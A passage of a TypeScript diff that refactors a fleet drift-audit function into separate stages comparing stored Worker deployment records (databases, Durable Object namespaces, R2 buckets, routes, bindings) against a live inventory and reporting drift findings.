+} + +export function auditNamespaceExpectationsStage( + input: Readonly<{ + records: readonly FleetRecord[]; + inventoryNamespaceIds: readonly string[]; + /** Pre-seeded by the caller (empty for the drain's one full-array call; the + * §6.1 prefix rebuild for a bounded chunk); mutated in place. */ + expectedNamespaceOwners: Map; + }>, +): readonly DriftFinding[] { + const findings: DriftFinding[] = []; + walkNamespaceClaims( + input.records, + input.expectedNamespaceOwners, + (record, namespaceId, namespaceOwner) => { if (namespaceOwner) { - duplicateNamespaceIds.add(namespaceId); findings.push({ tenantTag: record.tenantTag, environment: record.environment, kind: 'duplicate-namespace', detail: `namespace '${namespaceId}' also bound to ${namespaceOwner.tenantTag}:${namespaceOwner.environment}`, }); - } else { - expectedNamespaceOwners.set(namespaceId, record); } - if (!options.inventory.namespaceIds.includes(namespaceId)) { + if (!input.inventoryNamespaceIds.includes(namespaceId)) { findings.push({ tenantTag: record.tenantTag, environment: record.environment, @@ -780,19 +1014,21 @@ export async function auditFleetDrift(options: { detail: `expected Durable Object namespace '${namespaceId}' is absent from fleet inventory`, }); } - } - } + }, + ); + return findings; +} - const expectedBuckets = new Map< - string, - { - readonly record: FleetRecord; - readonly resource: NonNullable< - FleetRecord['applicationResources'] - >[number]; - } - >(); - for (const record of auditedRecords) { +export function auditR2ExpectedStage( + input: Readonly<{ + records: readonly FleetRecord[]; + /** Pre-seeded by the caller (empty for the drain's one full-array call; the + * §6.1 prefix rebuild for a bounded chunk); mutated in place. */ + expectedBuckets: Map; + }>, +): readonly DriftFinding[] { + const findings: DriftFinding[] = []; + for (const record of input.records) { const phase = effectiveLifecyclePhase(record); if ( [ @@ -806,7 +1042,7 @@ export async function auditFleetDrift(options: { } for (const resource of record.applicationResources ?? []) { if (resource.state !== 'created' || !resource.creationDate) continue; - const prior = expectedBuckets.get(resource.bucketName); + const prior = input.expectedBuckets.get(resource.bucketName); if (prior) { findings.push({ tenantTag: record.tenantTag, @@ -815,20 +1051,27 @@ export async function auditFleetDrift(options: { detail: `R2 bucket '${resource.bucketName}' is claimed by more than one deployment`, }); } else { - expectedBuckets.set(resource.bucketName, { record, resource }); + input.expectedBuckets.set(resource.bucketName, { record, resource }); } } } - const liveBuckets = new Map( - (options.inventory.r2Buckets ?? []).map((bucket) => [ - bucket.bucketName, - bucket, - ]), - ); - for (const bucket of options.inventory.r2Buckets ?? []) { + return findings; +} + +export function auditR2OrphansStage( + input: Readonly<{ + r2Buckets: readonly NonNullable< + FleetResourceInventory['r2Buckets'] + >[number][]; + expectedBuckets: ReadonlyMap; + knownBucketNames: ReadonlySet; + }>, +): readonly DriftFinding[] { + const findings: DriftFinding[] = []; + for (const bucket of input.r2Buckets) { if ( - !expectedBuckets.has(bucket.bucketName) && - !knownBucketNames.has(bucket.bucketName) + !input.expectedBuckets.has(bucket.bucketName) && + !input.knownBucketNames.has(bucket.bucketName) ) { findings.push({ tenantTag: 'unknown', @@ -838,7 +1081,22 @@ export async function auditFleetDrift(options: { }); } } - for (const { record, resource } of expectedBuckets.values()) { + return findings; +} + +export function auditR2MissingIdentityStage( + input: Readonly<{ + expectedBucketEntries: readonly FleetAuditExpectedBucketEntry[]; + r2Buckets: readonly NonNullable< + FleetResourceInventory['r2Buckets'] + >[number][]; + }>, +): readonly DriftFinding[] { + const liveBuckets = new Map( + input.r2Buckets.map((bucket) => [bucket.bucketName, bucket]), + ); + const findings: DriftFinding[] = []; + for (const { record, resource } of input.expectedBucketEntries) { const live = liveBuckets.get(resource.bucketName); if (!live) { findings.push({ @@ -859,546 +1117,762 @@ export async function auditFleetDrift(options: { }); } } + return findings; +} - for (const record of options.records) { - // A stale or blocked bounded cleanup must not read as - // incomplete-provisioning, version, binding, or route drift. - if (hasActiveCleanup(record)) continue; - const phase = effectiveLifecyclePhase(record); - const recordMatches = - recordsByScript.get(`${record.backend}:${liveScriptName(record)}`) ?? []; - if (recordMatches.length > 1) { - findings.push({ +// --------------------------------------------------------------------------- +// Per-record audit step (R4-B.2). Frozen result shape per §6.3: `findings` +// carries the sanitized durable detail; `legacyDetails` is index-paired and +// holds the exact legacy byte composition only where it differs (raw +// diagnostic bytes), null where identical. The drain emits +// `legacyDetails[i] ?? detail`; the bounded coordinator persists `detail` +// alone. +// --------------------------------------------------------------------------- + +export interface FleetAuditRecordStepResult { + readonly findings: readonly DriftFinding[]; + readonly legacyDetails: readonly (string | null)[]; +} + +export interface FleetAuditRecordStepInput { + readonly record: FleetRecord; + readonly recordsByScript: ReadonlyMap; + readonly liveByScript: ReadonlyMap< + string, + readonly FleetInventoryDeployment[] + >; + readonly liveRoutesByHostname: ReadonlyMap< + string, + readonly FleetResourceInventory['routes'][number][] + >; + readonly inventoryDatabaseIds: readonly string[]; + readonly hostRoutingKvId: string | undefined; + /** Cross-record inspection facts; mutated in place across a caller's loop. */ + readonly databases: Map; + readonly liveNamespaceOwners: Map; + readonly duplicateNamespaceIds: Set; + readonly backendFor: (record: FleetRecord) => ProvisioningBackend; + readonly specFor: (record: FleetRecord) => DeploymentSpec; + readonly maintenanceSecretFor: (record: FleetRecord) => string; + readonly store: FleetStateStore; + readonly staleAfterMs: number; + /** Drives every staleness comparison (§6.1). */ + readonly auditNow: number; + /** Feeds only the re-arm's `commitInvocationAuthority` clock (§6.1). */ + readonly authorityNowProvider: () => number; +} + +export async function auditRecordStep( + input: FleetAuditRecordStepInput, +): Promise { + const { record } = input; + const findings: DriftFinding[] = []; + const legacyDetails: (string | null)[] = []; + const push = (finding: DriftFinding, legacyDetail: string | null = null) => { + findings.push(finding); + legacyDetails.push(legacyDetail); + }; + // A stale or blocked bounded cleanup must not read as incomplete- + // provisioning, version, binding, or route drift; an empty per-record + // ordinal advances with zero findings and zero provider work. + if (hasActiveCleanup(record)) return { findings, legacyDetails }; + const phase = effectiveLifecyclePhase(record); + const recordMatches = + input.recordsByScript.get(`${record.backend}:${liveScriptName(record)}`) ?? + []; + if (recordMatches.length > 1) { + push({ + tenantTag: record.tenantTag, + environment: record.environment, + kind: 'duplicate-deployment', + detail: `script '${record.scriptName}' is registered ${recordMatches.length} times`, + }); + } + const inventoryMatches = + input.liveByScript.get(`${record.backend}:${liveScriptName(record)}`) ?? []; + const inventoryDeployment = inventoryMatches[0]; + const recordUpdatedAt = Date.parse(record.updatedAt); + if ( + phase !== 'ready' && + (!Number.isFinite(recordUpdatedAt) || + input.auditNow - recordUpdatedAt > input.staleAfterMs) + ) { + push({ + tenantTag: record.tenantTag, + environment: record.environment, + kind: 'incomplete-provisioning', + detail: `phase '${phase}' has not advanced`, + }); + } + const expectedReleases = expectedReleaseSnapshots(record); + for (const release of expectedReleases) { + const matches = + input.liveByScript.get( + `${record.backend}:${release.physicalScriptName}`, + ) ?? []; + if (matches.length !== 1) continue; + const liveRelease = matches[0]; + if (!liveRelease) continue; + if ( + liveRelease.tenantTag !== record.tenantTag || + liveRelease.environment !== record.environment || + liveRelease.artifactVersion !== release.artifactVersion || + liveRelease.schemaVersion !== release.releaseSchemaVersion || + liveRelease.desiredSpecDigest !== release.specDigest + ) { + push({ tenantTag: record.tenantTag, environment: record.environment, - kind: 'duplicate-deployment', - detail: `script '${record.scriptName}' is registered ${recordMatches.length} times`, + kind: 'version-drift', + detail: `lifecycle release '${release.physicalScriptName}' does not match its persisted identity, artifact, schema, and spec digest`, }); } - const inventoryMatches = - liveByScript.get(`${record.backend}:${liveScriptName(record)}`) ?? []; - const inventoryDeployment = inventoryMatches[0]; - const recordUpdatedAt = Date.parse(record.updatedAt); if ( - phase !== 'ready' && - (!Number.isFinite(recordUpdatedAt) || - now - recordUpdatedAt > options.staleAfterMs) + liveRelease.databaseIds.length !== 1 || + liveRelease.databaseIds[0] !== record.databaseId ) { - findings.push({ + push({ tenantTag: record.tenantTag, environment: record.environment, - kind: 'incomplete-provisioning', - detail: `phase '${phase}' has not advanced`, + kind: 'database-mismatch', + detail: `lifecycle release '${release.physicalScriptName}' is not bound exactly to database '${record.databaseId}'`, }); } - const expectedReleases = expectedReleaseSnapshots(record); - for (const release of expectedReleases) { - const matches = - liveByScript.get(`${record.backend}:${release.physicalScriptName}`) ?? - []; - if (matches.length !== 1) continue; - const liveRelease = matches[0]; - if (!liveRelease) continue; - if ( - liveRelease.tenantTag !== record.tenantTag || - liveRelease.environment !== record.environment || - liveRelease.artifactVersion !== release.artifactVersion || - liveRelease.schemaVersion !== release.releaseSchemaVersion || - liveRelease.desiredSpecDigest !== release.specDigest - ) { - findings.push({ - tenantTag: record.tenantTag, - environment: record.environment, - kind: 'version-drift', - detail: `lifecycle release '${release.physicalScriptName}' does not match its persisted identity, artifact, schema, and spec digest`, - }); - } - if ( - liveRelease.databaseIds.length !== 1 || - liveRelease.databaseIds[0] !== record.databaseId - ) { - findings.push({ - tenantTag: record.tenantTag, - environment: record.environment, - kind: 'database-mismatch', - detail: `lifecycle release '${release.physicalScriptName}' is not bound exactly to database '${record.databaseId}'`, - }); - } - if (!release.topology) { - findings.push({ - tenantTag: record.tenantTag, - environment: record.environment, - kind: 'audit-error', - detail: `lifecycle release '${release.physicalScriptName}' has no durable binding topology`, - }); - } else if ( + if (!release.topology) { + push({ + tenantTag: record.tenantTag, + environment: record.environment, + kind: 'audit-error', + detail: `lifecycle release '${release.physicalScriptName}' has no durable binding topology`, + }); + } else if ( + JSON.stringify( + liveRelease.durableObjectBindings.map(fullBindingKey).sort(), + ) !== JSON.stringify( - liveRelease.durableObjectBindings.map(fullBindingKey).sort(), - ) !== - JSON.stringify( - release.topology.durableObjectBindings.map(fullBindingKey).sort(), - ) || - JSON.stringify(namedTargetKeys(liveRelease.serviceBindings ?? [])) !== - JSON.stringify(namedTargetKeys(release.topology.serviceBindings)) || + release.topology.durableObjectBindings.map(fullBindingKey).sort(), + ) || + JSON.stringify(namedTargetKeys(liveRelease.serviceBindings ?? [])) !== + JSON.stringify(namedTargetKeys(release.topology.serviceBindings)) || + JSON.stringify( + namedTargetKeys(liveRelease.queueProducerBindings ?? []), + ) !== JSON.stringify( - namedTargetKeys(liveRelease.queueProducerBindings ?? []), - ) !== - JSON.stringify( - namedTargetKeys(release.topology.queueProducerBindings), - ) || - JSON.stringify([...liveRelease.secretNames].sort()) !== - JSON.stringify([...release.topology.secretNames].sort()) || - !liveApplicationTopologyMatches( - release.topology.application, - liveRelease, - DEPLOYMENT_PLATFORM_VARIABLE_NAMES, - ) - ) { - findings.push({ - tenantTag: record.tenantTag, - environment: record.environment, - kind: 'binding-drift', - detail: `lifecycle release '${release.physicalScriptName}' has drifted Durable Object, service, queue, application variable, R2, or secret topology`, - }); - } - } - if (phase !== 'ready') continue; - if (!inventoryDeployment) { - continue; - } - if ( - inventoryDeployment.databaseIds.length !== 1 || - inventoryDeployment.databaseIds[0] !== record.databaseId || - !options.inventory.databaseIds.includes(record.databaseId) + namedTargetKeys(release.topology.queueProducerBindings), + ) || + JSON.stringify([...liveRelease.secretNames].sort()) !== + JSON.stringify([...release.topology.secretNames].sort()) || + !liveApplicationTopologyMatches( + release.topology.application, + liveRelease, + DEPLOYMENT_PLATFORM_VARIABLE_NAMES, + ) ) { - findings.push({ + push({ tenantTag: record.tenantTag, environment: record.environment, - kind: 'database-mismatch', - detail: `fleet inventory does not contain exactly database '${record.databaseId}' for '${record.scriptName}'`, + kind: 'binding-drift', + detail: `lifecycle release '${release.physicalScriptName}' has drifted Durable Object, service, queue, application variable, R2, or secret topology`, }); } - const routeOwnerDeployments = allowedRouteScriptNames(record).flatMap( - (scriptName) => liveByScript.get(`${record.backend}:${scriptName}`) ?? [], - ); - if ( - routeOwnerDeployments.filter( - (deployment) => - deployment.routeHostnames.length === 1 && - deployment.routeHostnames[0] === record.routeHostname, - ).length !== 1 || - routeOwnerDeployments.some((deployment) => - deployment.routeHostnames.some( - (hostname) => hostname !== record.routeHostname, - ), - ) - ) { - findings.push({ - tenantTag: record.tenantTag, - environment: record.environment, - kind: 'route-drift', - detail: `deployment inventory does not contain exactly route '${record.routeHostname}'`, - }); - } - const expectedBindingKeys = [...record.durableObjectBindings] - .map(bindingKey) - .sort(); - const liveBindingKeys = [...inventoryDeployment.durableObjectBindings] - .map(bindingKey) - .sort(); - if ( - JSON.stringify(expectedBindingKeys) !== JSON.stringify(liveBindingKeys) - ) { - findings.push({ + } + if (phase !== 'ready') return { findings, legacyDetails }; + if (!inventoryDeployment) { + return { findings, legacyDetails }; + } + if ( + inventoryDeployment.databaseIds.length !== 1 || + inventoryDeployment.databaseIds[0] !== record.databaseId || + !input.inventoryDatabaseIds.includes(record.databaseId) + ) { + push({ + tenantTag: record.tenantTag, + environment: record.environment, + kind: 'database-mismatch', + detail: `fleet inventory does not contain exactly database '${record.databaseId}' for '${record.scriptName}'`, + }); + } + const routeOwnerDeployments = allowedRouteScriptNames(record).flatMap( + (scriptName) => + input.liveByScript.get(`${record.backend}:${scriptName}`) ?? [], + ); + if ( + routeOwnerDeployments.filter( + (deployment) => + deployment.routeHostnames.length === 1 && + deployment.routeHostnames[0] === record.routeHostname, + ).length !== 1 || + routeOwnerDeployments.some((deployment) => + deployment.routeHostnames.some( + (hostname) => hostname !== record.routeHostname, + ), + ) + ) { + push({ + tenantTag: record.tenantTag, + environment: record.environment, + kind: 'route-drift', + detail: `deployment inventory does not contain exactly route '${record.routeHostname}'`, + }); + } + const expectedBindingKeys = [...record.durableObjectBindings] + .map(bindingKey) + .sort(); + const liveBindingKeys = [...inventoryDeployment.durableObjectBindings] + .map(bindingKey) + .sort(); + if (JSON.stringify(expectedBindingKeys) !== JSON.stringify(liveBindingKeys)) { + push({ + tenantTag: record.tenantTag, + environment: record.environment, + kind: 'binding-drift', + detail: `expected ${expectedBindingKeys.join(',') || 'no bindings'}, found ${liveBindingKeys.join(',') || 'no bindings'}`, + }); + } + const routeMatches = + input.liveRoutesByHostname.get(record.routeHostname) ?? []; + if (routeMatches.length > 1) { + push({ + tenantTag: record.tenantTag, + environment: record.environment, + kind: 'duplicate-route', + detail: `route '${record.routeHostname}' appears ${routeMatches.length} times`, + }); + } + const route = routeMatches[0]; + if ( + !route || + route.backend !== record.backend || + route.tenantTag !== record.tenantTag || + route.environment !== record.environment || + !routeMatchesRecord(route, record) + ) { + push({ + tenantTag: record.tenantTag, + environment: record.environment, + kind: 'route-drift', + detail: `route '${record.routeHostname}' is missing or mismatched`, + }); + } + let backend: ProvisioningBackend; + try { + backend = input.backendFor(record); + } catch (error) { + push( + { tenantTag: record.tenantTag, environment: record.environment, - kind: 'binding-drift', - detail: `expected ${expectedBindingKeys.join(',') || 'no bindings'}, found ${liveBindingKeys.join(',') || 'no bindings'}`, - }); - } - const routeMatches = liveRoutesByHostname.get(record.routeHostname) ?? []; - if (routeMatches.length > 1) { - findings.push({ + kind: 'audit-error', + detail: 'backend resolver failed', + }, + `backend resolver failed: ${String(error)}`, + ); + return { findings, legacyDetails }; + } + let spec: DeploymentSpec; + try { + spec = input.specFor(record); + } catch (error) { + push( + { tenantTag: record.tenantTag, environment: record.environment, - kind: 'duplicate-route', - detail: `route '${record.routeHostname}' appears ${routeMatches.length} times`, - }); - } - const route = routeMatches[0]; + kind: 'audit-error', + detail: 'spec resolver failed', + }, + `spec resolver failed: ${String(error)}`, + ); + return { findings, legacyDetails }; + } + if (inventoryDeployment) { + const expectedServiceBindings = + spec.authoredBy === 'external' + ? [] + : spec.egressProxyService + ? [{ name: 'EGRESS_PROXY', service: spec.egressProxyService }] + : []; + const expectedQueueBindings = + spec.authoredBy === 'external' + ? [] + : spec.queueProducer + ? [ + { + name: spec.queueProducer.binding, + queueName: spec.queueProducer.queueName, + }, + ] + : []; if ( - !route || - route.backend !== record.backend || - route.tenantTag !== record.tenantTag || - route.environment !== record.environment || - !routeMatchesRecord(route, record) + JSON.stringify(inventoryDeployment.serviceBindings ?? []) !== + JSON.stringify(expectedServiceBindings) || + JSON.stringify(inventoryDeployment.queueProducerBindings ?? []) !== + JSON.stringify(expectedQueueBindings) ) { - findings.push({ - tenantTag: record.tenantTag, - environment: record.environment, - kind: 'route-drift', - detail: `route '${record.routeHostname}' is missing or mismatched`, - }); - } - let backend: ProvisioningBackend; - try { - backend = options.backendFor(record); - } catch (error) { - findings.push({ + push({ tenantTag: record.tenantTag, environment: record.environment, - kind: 'audit-error', - detail: `backend resolver failed: ${String(error)}`, + kind: 'binding-drift', + detail: `release '${inventoryDeployment.scriptName}' has drifted trusted channel bindings`, }); - continue; } - let spec: DeploymentSpec; - try { - spec = options.specFor(record); - } catch (error) { - findings.push({ + } + let maintenanceSecret: string; + try { + maintenanceSecret = input.maintenanceSecretFor(record); + } catch (error) { + push( + { tenantTag: record.tenantTag, environment: record.environment, kind: 'audit-error', - detail: `spec resolver failed: ${String(error)}`, - }); - continue; - } - if (inventoryDeployment) { - const expectedServiceBindings = - spec.authoredBy === 'external' - ? [] - : spec.egressProxyService - ? [{ name: 'EGRESS_PROXY', service: spec.egressProxyService }] - : []; - const expectedQueueBindings = - spec.authoredBy === 'external' - ? [] - : spec.queueProducer - ? [ - { - name: spec.queueProducer.binding, - queueName: spec.queueProducer.queueName, - }, - ] - : []; + detail: 'maintenance secret resolver failed', + }, + `maintenance secret resolver failed: ${String(error)}`, + ); + return { findings, legacyDetails }; + } + if (record.platformResources) { + const groupId = externalPlatformResourceGroupId(spec); + const platformExpectations = [ + { + role: 'platform-state' as const, + snapshot: record.platformResources.stateWorker, + backend: + record.platformResources.stateWorker.plane === 'dispatch' + ? ('workers-for-platforms' as const) + : ('plain-worker' as const), + }, + ...(record.platformResources.egressProxy + ? [ + { + role: 'deployment-egress' as const, + snapshot: record.platformResources.egressProxy, + backend: 'plain-worker' as const, + }, + ] + : []), + ]; + for (const expected of platformExpectations) { + const matches = + input.liveByScript.get( + `${expected.backend}:${expected.snapshot.scriptName}`, + ) ?? []; + const resource = matches[0]; + if (matches.length !== 1 || !resource) continue; if ( - JSON.stringify(inventoryDeployment.serviceBindings ?? []) !== - JSON.stringify(expectedServiceBindings) || - JSON.stringify(inventoryDeployment.queueProducerBindings ?? []) !== - JSON.stringify(expectedQueueBindings) + resource.resourceRole !== expected.role || + resource.resourceGroupId !== groupId || + resource.tenantTag !== record.tenantTag || + resource.environment !== record.environment || + resource.artifactVersion !== expected.snapshot.artifactVersion ) { - findings.push({ + push({ tenantTag: record.tenantTag, environment: record.environment, - kind: 'binding-drift', - detail: `release '${inventoryDeployment.scriptName}' has drifted trusted channel bindings`, + kind: 'version-drift', + detail: `trusted Worker '${expected.snapshot.scriptName}' has drifted ownership or artifact metadata`, }); } - } - let maintenanceSecret: string; - try { - maintenanceSecret = options.maintenanceSecretFor(record); - } catch (error) { - findings.push({ - tenantTag: record.tenantTag, - environment: record.environment, - kind: 'audit-error', - detail: `maintenance secret resolver failed: ${String(error)}`, - }); - continue; - } - if (record.platformResources) { - const groupId = externalPlatformResourceGroupId(spec); - const platformExpectations = [ - { - role: 'platform-state' as const, - snapshot: record.platformResources.stateWorker, - backend: - record.platformResources.stateWorker.plane === 'dispatch' - ? ('workers-for-platforms' as const) - : ('plain-worker' as const), - }, - ...(record.platformResources.egressProxy - ? [ - { - role: 'deployment-egress' as const, - snapshot: record.platformResources.egressProxy, - backend: 'plain-worker' as const, - }, - ] - : []), - ]; - for (const expected of platformExpectations) { - const matches = - liveByScript.get( - `${expected.backend}:${expected.snapshot.scriptName}`, - ) ?? []; - const resource = matches[0]; - if (matches.length !== 1 || !resource) continue; - if ( - resource.resourceRole !== expected.role || - resource.resourceGroupId !== groupId || - resource.tenantTag !== record.tenantTag || - resource.environment !== record.environment || - resource.artifactVersion !== expected.snapshot.artifactVersion - ) { - findings.push({ - tenantTag: record.tenantTag, - environment: record.environment, - kind: 'version-drift', - detail: `trusted Worker '${expected.snapshot.scriptName}' has drifted ownership or artifact metadata`, - }); - } - if (expected.role === 'platform-state') { - const expectedDoKeys = - record.platformResources.stateWorker.durableObjectBindings - .map( - (binding) => - `${binding.name}:${binding.className}:${binding.namespaceId}`, - ) - .sort(); - const liveDoKeys = resource.durableObjectBindings + if (expected.role === 'platform-state') { + const expectedDoKeys = + record.platformResources.stateWorker.durableObjectBindings .map( (binding) => `${binding.name}:${binding.className}:${binding.namespaceId}`, ) .sort(); - if ( - resource.databaseIds.length !== 1 || - resource.databaseIds[0] !== record.databaseId || - JSON.stringify(expectedDoKeys) !== JSON.stringify(liveDoKeys) || - JSON.stringify(resource.serviceBindings ?? []) !== - JSON.stringify( - record.platformResources.sharedOutboundWorkerName + const liveDoKeys = resource.durableObjectBindings + .map( + (binding) => + `${binding.name}:${binding.className}:${binding.namespaceId}`, + ) + .sort(); + if ( + resource.databaseIds.length !== 1 || + resource.databaseIds[0] !== record.databaseId || + JSON.stringify(expectedDoKeys) !== JSON.stringify(liveDoKeys) || + JSON.stringify(resource.serviceBindings ?? []) !== + JSON.stringify( + record.platformResources.sharedOutboundWorkerName + ? [ + { + name: 'OUTBOUND_PROXY', + service: + record.platformResources.sharedOutboundWorkerName, + entrypoint: 'StateEgress', + }, + ] + : record.platformResources.egressProxy ? [ { - name: 'OUTBOUND_PROXY', + name: 'EGRESS_PROXY', service: - record.platformResources.sharedOutboundWorkerName, - entrypoint: 'StateEgress', - }, - ] - : record.platformResources.egressProxy - ? [ - { - name: 'EGRESS_PROXY', - service: - record.platformResources.egressProxy.scriptName, - }, - ] - : [], - ) || - JSON.stringify(resource.queueProducerBindings ?? []) !== - JSON.stringify( - record.platformResources.auditQueueName - ? [ - { - name: 'AUDIT_QUEUE', - queueName: record.platformResources.auditQueueName, + record.platformResources.egressProxy.scriptName, }, ] : [], - ) || - JSON.stringify(resource.secretNames) !== - JSON.stringify( - [ - 'DEPLOYMENT_IDENTITY_SECRET', - 'MAINTENANCE_ADMIN_SECRET', - ...(record.platformResources.sharedOutboundWorkerName - ? ['OUTBOUND_PROXY_CREDENTIAL'] - : []), - ].sort(), - ) || - resource.plainTextBindings?.FLEET_DEPLOYMENT_SCRIPT !== - spec.scriptName || - resource.plainTextBindings?.FLEET_MAINTENANCE_CAPABILITIES !== - 'required' || - resource.plainTextBindings - ?.FLEET_MAINTENANCE_CAPABILITY_PUBLIC_KEY !== - record.platformResources.maintenanceCapabilityPublicKey || - (resource.plainTextBindings?.FLEET_AUDIT_PROXY_INGRESS ?? - undefined) !== - (record.platformResources.auditQueueName ? 'required' : undefined) - ) { - findings.push({ - tenantTag: record.tenantTag, - environment: record.environment, - kind: 'binding-drift', - detail: `trusted state Worker '${expected.snapshot.scriptName}' has drifted database, Durable Object, or egress bindings`, - }); - } - } else if ( - resource.databaseIds.length !== 0 || - resource.durableObjectBindings.length !== 0 || - (resource.serviceBindings?.length ?? 0) !== 0 || - resource.secretNames.length !== 0 || - resource.plainTextBindings?.policyId !== - ( - record.platformResources.outboundPolicy ?? - record.platformResources.egressProxy - )?.policyId || - resource.plainTextBindings?.routeHostname !== - record.routeHostname.toLowerCase() || - resource.plainTextBindings?.scriptName !== - record.platformResources.stateWorker.scriptName || - !options.inventory.hostRoutingKvId || - resource.plainTextBindings?.hostRoutingKvId !== - options.inventory.hostRoutingKvId || - JSON.stringify(resource.kvNamespaceBindings ?? []) !== - JSON.stringify([ - { - name: 'HOSTS', - namespaceId: options.inventory.hostRoutingKvId, - }, - ]) + ) || + JSON.stringify(resource.queueProducerBindings ?? []) !== + JSON.stringify( + record.platformResources.auditQueueName + ? [ + { + name: 'AUDIT_QUEUE', + queueName: record.platformResources.auditQueueName, + }, + ] + : [], + ) || + JSON.stringify(resource.secretNames) !== + JSON.stringify( + [ + 'DEPLOYMENT_IDENTITY_SECRET', + 'MAINTENANCE_ADMIN_SECRET', + ...(record.platformResources.sharedOutboundWorkerName + ? ['OUTBOUND_PROXY_CREDENTIAL'] + : []), + ].sort(), + ) || + resource.plainTextBindings?.FLEET_DEPLOYMENT_SCRIPT !== + spec.scriptName || + resource.plainTextBindings?.FLEET_MAINTENANCE_CAPABILITIES !== + 'required' || + resource.plainTextBindings + ?.FLEET_MAINTENANCE_CAPABILITY_PUBLIC_KEY !== + record.platformResources.maintenanceCapabilityPublicKey || + (resource.plainTextBindings?.FLEET_AUDIT_PROXY_INGRESS ?? + undefined) !== + (record.platformResources.auditQueueName ? 'required' : undefined) ) { - findings.push({ + push({ tenantTag: record.tenantTag, environment: record.environment, kind: 'binding-drift', - detail: `trusted egress Worker '${expected.snapshot.scriptName}' has drifted policy or attribution bindings`, + detail: `trusted state Worker '${expected.snapshot.scriptName}' has drifted database, Durable Object, or egress bindings`, }); } - } - } - let live: Awaited>; - try { - live = await backend.inspect( - spec, - maintenanceSecret, - activeArtifactVersion(record), - ); - } catch (error) { - findings.push({ - tenantTag: record.tenantTag, - environment: record.environment, - kind: 'audit-error', - detail: `inspection failed: ${String(error)}`, - }); - continue; - } - if (!live) { - findings.push({ - tenantTag: record.tenantTag, - environment: record.environment, - kind: 'missing-deployment', - detail: `script '${record.scriptName}' is absent`, - }); - continue; - } - if (live.databaseId !== record.databaseId) { - findings.push({ - tenantTag: record.tenantTag, - environment: record.environment, - kind: 'database-mismatch', - detail: `expected ${record.databaseId}, found ${live.databaseId}`, - }); - } - const databaseOwner = databases.get(live.databaseId); - if (databaseOwner) { - findings.push({ - tenantTag: record.tenantTag, - environment: record.environment, - kind: 'duplicate-database', - detail: `database also bound to ${databaseOwner.tenantTag}:${databaseOwner.environment}`, - }); - } else { - databases.set(live.databaseId, record); - } - for (const binding of live.durableObjectBindings) { - const namespaceOwner = liveNamespaceOwners.get(binding.namespaceId); - if (namespaceOwner && !duplicateNamespaceIds.has(binding.namespaceId)) { - duplicateNamespaceIds.add(binding.namespaceId); - findings.push({ + } else if ( + resource.databaseIds.length !== 0 || + resource.durableObjectBindings.length !== 0 || + (resource.serviceBindings?.length ?? 0) !== 0 || + resource.secretNames.length !== 0 || + resource.plainTextBindings?.policyId !== + ( + record.platformResources.outboundPolicy ?? + record.platformResources.egressProxy + )?.policyId || + resource.plainTextBindings?.routeHostname !== + record.routeHostname.toLowerCase() || + resource.plainTextBindings?.scriptName !== + record.platformResources.stateWorker.scriptName || + !input.hostRoutingKvId || + resource.plainTextBindings?.hostRoutingKvId !== input.hostRoutingKvId || + JSON.stringify(resource.kvNamespaceBindings ?? []) !== + JSON.stringify([ + { + name: 'HOSTS', + namespaceId: input.hostRoutingKvId, + }, + ]) + ) { + push({ tenantTag: record.tenantTag, environment: record.environment, - kind: 'duplicate-namespace', - detail: `namespace '${binding.namespaceId}' also bound to ${namespaceOwner.tenantTag}:${namespaceOwner.environment}`, + kind: 'binding-drift', + detail: `trusted egress Worker '${expected.snapshot.scriptName}' has drifted policy or attribution bindings`, }); - } else if (!namespaceOwner) { - liveNamespaceOwners.set(binding.namespaceId, record); } } + } + let live: Awaited>; + try { + live = await backend.inspect( + spec, + maintenanceSecret, + activeArtifactVersion(record), + ); + } catch (error) { + push( + { + tenantTag: record.tenantTag, + environment: record.environment, + kind: 'audit-error', + detail: 'inspection failed', + }, + `inspection failed: ${String(error)}`, + ); + return { findings, legacyDetails }; + } + if (!live) { + push({ + tenantTag: record.tenantTag, + environment: record.environment, + kind: 'missing-deployment', + detail: `script '${record.scriptName}' is absent`, + }); + return { findings, legacyDetails }; + } + if (live.databaseId !== record.databaseId) { + push({ + tenantTag: record.tenantTag, + environment: record.environment, + kind: 'database-mismatch', + detail: `expected ${record.databaseId}, found ${live.databaseId}`, + }); + } + const databaseOwner = input.databases.get(live.databaseId); + if (databaseOwner) { + push({ + tenantTag: record.tenantTag, + environment: record.environment, + kind: 'duplicate-database', + detail: `database also bound to ${databaseOwner.tenantTag}:${databaseOwner.environment}`, + }); + } else { + input.databases.set(live.databaseId, record); + } + for (const binding of live.durableObjectBindings) { + const namespaceOwner = input.liveNamespaceOwners.get(binding.namespaceId); if ( - live.artifactVersion !== record.artifactVersion || - live.schemaVersion !== - (record.activeRelease?.releaseSchemaVersion ?? record.schemaVersion) + namespaceOwner && + !input.duplicateNamespaceIds.has(binding.namespaceId) ) { - findings.push({ + input.duplicateNamespaceIds.add(binding.namespaceId); + push({ tenantTag: record.tenantTag, environment: record.environment, - kind: 'version-drift', - detail: `expected artifact/schema ${record.artifactVersion}/${record.activeRelease?.releaseSchemaVersion ?? record.schemaVersion}, found ${live.artifactVersion}/${live.schemaVersion}`, + kind: 'duplicate-namespace', + detail: `namespace '${binding.namespaceId}' also bound to ${namespaceOwner.tenantTag}:${namespaceOwner.environment}`, }); + } else if (!namespaceOwner) { + input.liveNamespaceOwners.set(binding.namespaceId, record); } - const deployedAt = Date.parse(record.updatedAt); - const dutyFailures = configuredDuties(live.maintenance) - .map((duty) => - staleDutyReason( - duty, - Number.isFinite(deployedAt) ? deployedAt : undefined, - now, - options.staleAfterMs, - ), + } + if ( + live.artifactVersion !== record.artifactVersion || + live.schemaVersion !== + (record.activeRelease?.releaseSchemaVersion ?? record.schemaVersion) + ) { + push({ + tenantTag: record.tenantTag, + environment: record.environment, + kind: 'version-drift', + detail: `expected artifact/schema ${record.artifactVersion}/${record.activeRelease?.releaseSchemaVersion ?? record.schemaVersion}, found ${live.artifactVersion}/${live.schemaVersion}`, + }); + } + const deployedAt = Date.parse(record.updatedAt); + const dutySegments = configuredDuties(live.maintenance) + .map((duty) => + staleDutySegment( + duty, + Number.isFinite(deployedAt) ? deployedAt : undefined, + input.auditNow, + input.staleAfterMs, + ), + ) + .filter((segment): segment is DutySegment => segment !== undefined); + if (!live.maintenance.armed || dutySegments.length > 0) { + const segments = [ + ...(!live.maintenance.armed + ? [{ template: 'maintenance scheduler is not armed', diagnostic: null }] + : []), + ...dutySegments, + ]; + const detail = segments.map((segment) => segment.template).join('; '); + const legacyDetail = segments + .map( + (segment) => + segment.template + + (segment.diagnostic !== null ? `: 